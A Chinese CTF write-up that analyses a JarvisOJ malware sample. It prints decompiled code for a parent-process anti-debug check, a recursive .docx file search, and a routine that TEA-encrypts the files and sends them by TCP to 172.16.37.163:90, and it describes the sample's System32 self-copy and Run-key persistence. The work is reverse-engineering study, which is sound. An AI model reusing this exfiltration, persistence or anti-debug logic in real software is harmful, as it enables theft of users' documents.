JarvisOJ——病毒数据分析

0x00前言

这是一道恶意代码分析的题目,其实特征不太像病毒啦。。。整个流程分析下来,还是有不少收获,虽然最后卡在了某个点,但程序的所有功能和流程都分析完成了(因为不复杂,T__T)。在这里,我就把它当作真正的恶意程序来分析一番。

0x01信息收集

一开始我们没有必要直接去逆向这个程序,而是先收集相关信息,这样能够更轻松的完成逆向分析的步骤。

0.首先将它丢进沙箱

可以看到给出的评估居然是安全的...但AVG这个反病毒引擎将其识别为了一个后门。

1.查看PE文件信息

先来看导入表

可以明显的看到修改注册表的API;而最后一个WS2_32.dll文件则是socket编程中需要使用的动态库,根据这些信息大概可以猜测这确实是个后门了,而恶意代码一般都会通过修改注册表来达到自启动的目的

在字符串列表中发现了SOFTWARE\Microsoft\Windows\CurrentVersion\Run也证实了这一点,而不远处还有一个注册表的键,它的作为只有分析程序时才能知道了。

2.监视程序行为

这个操作必须在虚拟机中完成,并且断网。监视的工作由Process Monitor来完成

可以看到这里程序自我复制到了C:\Windows\System32\CTF.exe,并将C:\Windows\System32\CTF.exe加入到注册表,然后就退出了。虽然还没正式开始分析程序,但感觉已经得到许多有用信息了呢。

0x02反调试

bool anti_debug0()
{
  int ParentProcessId; // edi
  DWORD CurrentProcessId; // esi
  signed int v2; // ecx
  signed int v3; // ecx
  HMODULE ntdll; // eax
  HANDLE hCurProcessId; // eax
  void *v7; // esi
  HWND v8; // eax
  DWORD ShellProcessId; // [esp+8h] [ebp-4Ch]
  ProcessBasicInformation pbi; // [esp+Ch] [ebp-48h]
  CHAR ProcName[4]; // [esp+24h] [ebp-30h]
  int v12; // [esp+28h] [ebp-2Ch]
  int v13; // [esp+2Ch] [ebp-28h]
  int v14; // [esp+30h] [ebp-24h]
  int v15; // [esp+34h] [ebp-20h]
  int v16; // [esp+38h] [ebp-1Ch]
  char v17; // [esp+3Ch] [ebp-18h]
  char v18; // [esp+3Dh] [ebp-17h]
  int v19; // [esp+3Eh] [ebp-16h]
  __int16 v20; // [esp+42h] [ebp-12h]
  WCHAR ModuleName[2]; // [esp+44h] [ebp-10h]
  int v22; // [esp+48h] [ebp-Ch]
  int v23; // [esp+4Ch] [ebp-8h]

  ParentProcessId = 0;
  CurrentProcessId = GetCurrentProcessId();
  v17 = 50;
  v2 = 0;
  *(_DWORD *)ProcName = 873477391;
  v12 = 137900836;
  v13 = 858662703;
  v14 = 674570284;
  v15 = 856764206;
  v16 = 841228846;
  v18 = 65;
  v19 = 0;
  v20 = 0;
  *(_DWORD *)ModuleName = 1094009135;
  v22 = 1093484837;
  v23 = 1094795565;
  do
  {
    ProcName[v2] ^= 0x41u;                      // decrypt ProcName
    ++v2;
  }
  while ( v2 < 32 );
  v3 = 0;
  do
    *((_BYTE *)ModuleName + v3++) ^= 0x41u;     // decrypt ModuleName
  while ( v3 < 12 );
  ntdll = GetModuleHandleW(ModuleName);
  NtQueryInformationProcess = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))GetProcAddress(ntdll, ProcName);
  if ( !NtQueryInformationProcess )
    return 1;
  hCurProcessId = OpenProcess(0x400u, 0, CurrentProcessId);
  v7 = hCurProcessId;
  if ( !hCurProcessId )
    return 1;
  if ( !NtQueryInformationProcess(hCurProcessId, 0, &pbi, 24, 0) )
    ParentProcessId = pbi.InheritedFromUniqueProcessId;
  CloseHandle(v7);
  v8 = GetShellWindow();
  GetWindowThreadProcessId(v8, &ShellProcessId);
  return ParentProcessId != ShellProcessId;
}

首先主函数中一开始就是一个反调试函数,以上是已标注好的代码,逻辑比较清晰,反调试方法是利用父进程反调试。利用NtQueryInformationProcess函数获取ProcessBasicInformation,取其最后一个字段就是父进程id,将父进程pid与shell的pid进行比较,若我们的父进程为调试器,则肯定是不匹配的,以此达到反调试效果。

0x03 流程分析

这段代码完成的工作就是在Process Monitor中看到的一样,写入CTF.exe文件并自启动,然后检测当前文件,若不是CTF.exe,则退出。

接着srand(time(0)),然后进入一个递归函数

DWORD __cdecl rescur_travl(WCHAR *UserDocumentPath)
{
  WCHAR *_UserDocumentPath; // edi
  __int16 *v2; // eax
  signed int v3; // edx
  __int16 v4; // cx
  int v5; // edx
  __int16 *v6; // eax
  HANDLE allFile; // ebx
  WCHAR *v9; // eax
  WCHAR *v10; // eax
  WCHAR *v11; // edx
  WCHAR v12; // cx
  char *path_len; // eax
  WCHAR *v14; // edi
  WCHAR v15; // cx
  WCHAR *v16; // edi
  WCHAR v17; // ax
  char *v18; // eax
  __int16 v19; // cx
  unsigned int v20; // eax
  WCHAR *v21; // edi
  WCHAR v22; // cx
  WCHAR v23; // cx
  int len; // eax
  DWORD v25; // esi
  struct _WIN32_FIND_DATAW FileData; // [esp+10h] [ebp-668h]
  char directorName; // [esp+260h] [ebp-418h]
  __int16 FileName[262]; // [esp+468h] [ebp-210h]

  _UserDocumentPath = UserDocumentPath;
  memset(&directorName, 0, 0x104u);
  v2 = FileName;
  v3 = 0x104;
  while ( v3 != 0x80000106 )                    // copy path to filename
  {
    v4 = *(__int16 *)((char *)v2 + (char *)UserDocumentPath - (char *)FileName);
    if ( !v4 )
      break;
    *v2 = v4;
    ++v2;
    if ( !--v3 )
      goto LABEL_7;                             // 文件路径大于缓冲区大小
  }
  if ( v3 )
    goto LABEL_8;
LABEL_7:
  --v2;
LABEL_8:
  *v2 = 0;
  v5 = 0x104;
  v6 = FileName;
  while ( *v6 )
  {
    ++v6;
    if ( !--v5 )
      goto LABEL_14;                            // 文件路径大于缓冲区大小
  }
  if ( v5 )
    sub_381000(v5, 0x7FFFFFFF, &FileName[260 - v5], (int)L"\\*");// filepath+"\*"
LABEL_14:
  allFile = FindFirstFileW((LPCWSTR)FileName, &FileData);
  if ( allFile == (HANDLE)-1 )
    return 0;
  do
  {
    v9 = FileData.cFileName;
    if ( FileData.dwFileAttributes & 0x10 )     // #define FILE_ATTRIBUTE_DIRECTORY 0x10
    {
      if ( wcscmp(FileData.cFileName, L".") && wcscmp(FileData.cFileName, L"..") )// 过滤.和..
      {
        v10 = _UserDocumentPath;
        v11 = _UserDocumentPath;
        do
        {
          v12 = *v10;
          ++v10;
        }
        while ( v12 );
        path_len = (char *)((char *)v10 - (char *)_UserDocumentPath);
        v14 = &FileData.cAlternateFileName[13];
        do
        {
          v15 = v14[1];
          ++v14;
        }
        while ( v15 );
        qmemcpy(v14, v11, (unsigned int)path_len);
        v16 = &FileData.cAlternateFileName[13];
        do
        {
          v17 = v16[1];
          ++v16;
        }
        while ( v17 );
        v18 = (char *)FileData.cFileName;
        *(_DWORD *)v16 = '\\';
        do
        {
          v19 = *(_WORD *)v18;
          v18 += 2;
        }
        while ( v19 );
        v20 = v18 - (char *)FileData.cFileName;
        v21 = &FileData.cAlternateFileName[13];
        do
        {
          v22 = v21[1];
          ++v21;
        }
        while ( v22 );
        qmemcpy(v21, FileData.cFileName, v20);
        rescur_travl((WCHAR *)&directorName);
        memset(&directorName, 0, 0x104u);
        _UserDocumentPath = UserDocumentPath;
      }
    }
    else
    {
      do
      {
        v23 = *v9;
        ++v9;
      }
      while ( v23 );
      len = v9 - &FileData.cFileName[1];
      if ( len > 3 && !wcscmp((const unsigned __int16 *)&FileData.nFileSizeLow + len + 1, L".docx") )// 比较后缀名
        NetFunction(_UserDocumentPath, &FileData);
    }
  }
  while ( FindNextFileW(allFile, &FileData) );
  v25 = GetLastError();
  FindClose(allFile);
  return v25;
}

这个函数流程如下:

  1. 遍历当前文件夹,过滤掉 . 和 ..
  2. 若当前文件为文件夹,递归
  3. 若当前文件为.docx,进入NetFunction

逻辑其实挺清晰,不过还是得看上一阵

NetFunction中就是网络数据传输了,使用了win socket编程

signed int __fastcall NetFunction(const unsigned __int16 *UserDocumentPath, _WIN32_FIND_DATAW *a2)
{
  _WIN32_FIND_DATAW *filedata; // ebx
  const unsigned __int16 *documentpath_; // edi
  signed int i; // esi
  unsigned int len_path; // edx
  WCHAR *v6; // eax
  WCHAR v7; // cx
  int filename_lenth; // esi
  unsigned __int16 *filename_buffer; // eax
  unsigned __int16 *filepath; // ebx
  char *v12; // eax
  __int16 v13; // dx
  unsigned int len_path_; // eax
  const unsigned __int16 *documentpath__; // esi
  unsigned __int16 *v16; // edi
  unsigned __int16 v17; // cx
  int v18; // edi
  __int16 v19; // ax
  char *v20; // eax
  WCHAR *v21; // edx
  __int16 v22; // cx
  unsigned int v23; // eax
  unsigned __int16 *v24; // edi
  unsigned __int16 v25; // cx
  int v26; // esi
  DWORD *AFileStruct; // edi
  HANDLE hFile; // esi
  DWORD v29; // eax
  SOCKET socket; // esi
  int v31; // [esp+10h] [ebp-3D8h]
  char optval[4]; // [esp+14h] [ebp-3D4h]
  DWORD NumberOfBytesRead; // [esp+18h] [ebp-3D0h]
  char *buffer; // [esp+1Ch] [ebp-3CCh]
  int fileSize; // [esp+20h] [ebp-3C8h]
  _WIN32_FIND_DATAW *v36; // [esp+24h] [ebp-3C4h]
  struct WSAData WSAData; // [esp+28h] [ebp-3C0h]
  struct sockaddr name; // [esp+1B8h] [ebp-230h]
  char ipaddr[4]; // [esp+1C8h] [ebp-220h]
  char v40; // [esp+1D6h] [ebp-212h]
  char recv_data; // [esp+3CCh] [ebp-1Ch]
  char randarray[8]; // [esp+3DCh] [ebp-Ch]

  filedata = a2;
  documentpath_ = UserDocumentPath;
  v36 = a2;
  i = 0;
  do
    randarray[i++] = rand();
  while ( i < 8 );
  len_path = wcslen(documentpath_);
  v6 = filedata->cFileName;
  do
  {
    v7 = *v6;
    ++v6;
  }
  while ( v7 );
  filename_lenth = v6 - &filedata->cFileName[1] + len_path + 2;
  filename_buffer = (unsigned __int16 *)operator new(2 * filename_lenth);
  filepath = filename_buffer;
  if ( !filename_buffer )
    return -1;
  v31 = 2 * filename_lenth;
  memset(filename_buffer, 0, 2 * filename_lenth);
  v12 = (char *)documentpath_;
  do
  {
    v13 = *(_WORD *)v12;
    v12 += 2;
  }
  while ( v13 );
  len_path_ = v12 - (char *)documentpath_;
  documentpath__ = documentpath_;
  v16 = filepath - 1;
  do
  {
    v17 = v16[1];
    ++v16;
  }
  while ( v17 );
  qmemcpy(v16, documentpath__, len_path_);      // add director path to filename_buffer
  v18 = (int)(filepath - 1);
  do
  {
    v19 = *(_WORD *)(v18 + 2);
    v18 += 2;
  }
  while ( v19 );
  *(_DWORD *)v18 = 92;                          // add "\"
  v20 = (char *)v36->cFileName;
  v21 = v36->cFileName;
  do
  {
    v22 = *(_WORD *)v20;
    v20 += 2;
  }
  while ( v22 );
  v23 = v20 - (char *)v21;
  v24 = filepath - 1;
  do
  {
    v25 = v24[1];
    ++v24;
  }
  while ( v25 );
  qmemcpy(v24, v21, v23);                       // add filename
  fileSize = v36->nFileSizeLow + 2 * wcslen(filepath) + 58;
  v26 = fileSize;
  if ( fileSize % 8 )
  {
    fileSize = 8 * (fileSize / 8) + 8;
    v26 = 8 * (v26 / 8) + 8;
  }
  AFileStruct = (DWORD *)operator new(v26);
  buffer = (char *)operator new(v26);
  if ( !AFileStruct )
    return -1;
  memset(AFileStruct, 0, v26);
  *AFileStruct = v36->nFileSizeLow;
  hFile = CreateFileW(filepath, 0x80000000, 1u, 0, 4u, 0x80u, 0);
  if ( hFile == (HANDLE)-1 )
    return -1;
  memcpy(AFileStruct + 1, L"bufFileContent", 28u);
  ReadFile(hFile, AFileStruct + 8, v36->nFileSizeLow, &NumberOfBytesRead, 0);
  CloseHandle(hFile);
  *(DWORD *)((char *)AFileStruct + NumberOfBytesRead + 32) = v31;
  v29 = (DWORD)AFileStruct + NumberOfBytesRead + 36;
  *(_DWORD *)v29 = *(_DWORD *)"b";
  *(_DWORD *)(v29 + 4) = *(_DWORD *)"f";
  *(_DWORD *)(v29 + 8) = *(_DWORD *)"i";
  *(_DWORD *)(v29 + 12) = *(_DWORD *)"e";
  *(_DWORD *)(v29 + 16) = *(_DWORD *)"a";
  *(_WORD *)(v29 + 20) = *(_WORD *)"e";
  memcpy((char *)AFileStruct + NumberOfBytesRead + 58, filepath, 2 * wcslen(filepath));// 
                                                // struct{
                                                //   DWORD FileSize
                                                //   WCHAR[] =  L"bufFileContent"
                                                //   char[FileSize] = FileData
                                                //   WCHAR[] = L"bufFileName"  
                                                //   char[] = filepath
                                                // }
                                                // 
  if ( WSAStartup(0x202u, &WSAData) )
    return -1;
  socket = ::socket(2, 1, 6);                   // socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
  *(_DWORD *)optval = 30000;
  setsockopt(socket, 0xFFFF, 0x1006, optval, 4);// setsockopt(socket, SOL_SOCKET, SO_RCVTIMEO, timeval, 4)
  strcpy(ipaddr, "172.16.37.163");
  memset(&v40, 0, 0x1F2u);
  name.sa_family = 2;                           // AF_INET
  *(_WORD *)name.sa_data = htons('09');         // port = 90
  *(_DWORD *)&name.sa_data[2] = inet_addr(ipaddr);// ip = 172.16.37.163
  connect(socket, &name, 16);
  send(socket, randarray, 8, 0);
  recv(socket, &recv_data, 16, 0);
  encrypt(AFileStruct, randarray, fileSize, &recv_data, buffer);
  send(socket, buffer, fileSize, 0);
  recv(socket, &recv_data, 8, 0);               // data ok!
  operator delete(filepath);
  operator delete(AFileStruct);
  operator delete(buffer);
  closesocket(socket);
  WSACleanup();
  return 0;
}

主要是创建了一个结构体

经过加密后进行TCP传送。

加密部分以变形的TEA为基础,混合了一些异或加密。TEA加密时将所有参数和输出都在字节上进行了倒置,且利用

sum -= 0x61C88647

来替代

sum += 0x9e37799b9

整个过程就算是分析完了,要对捕获的数据包进行解密,必须要知道srand(time(0))得到的rand()数组的值,但这里不太清楚去哪里找,文件分析虽然完成了,但题目依旧没有完成。。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值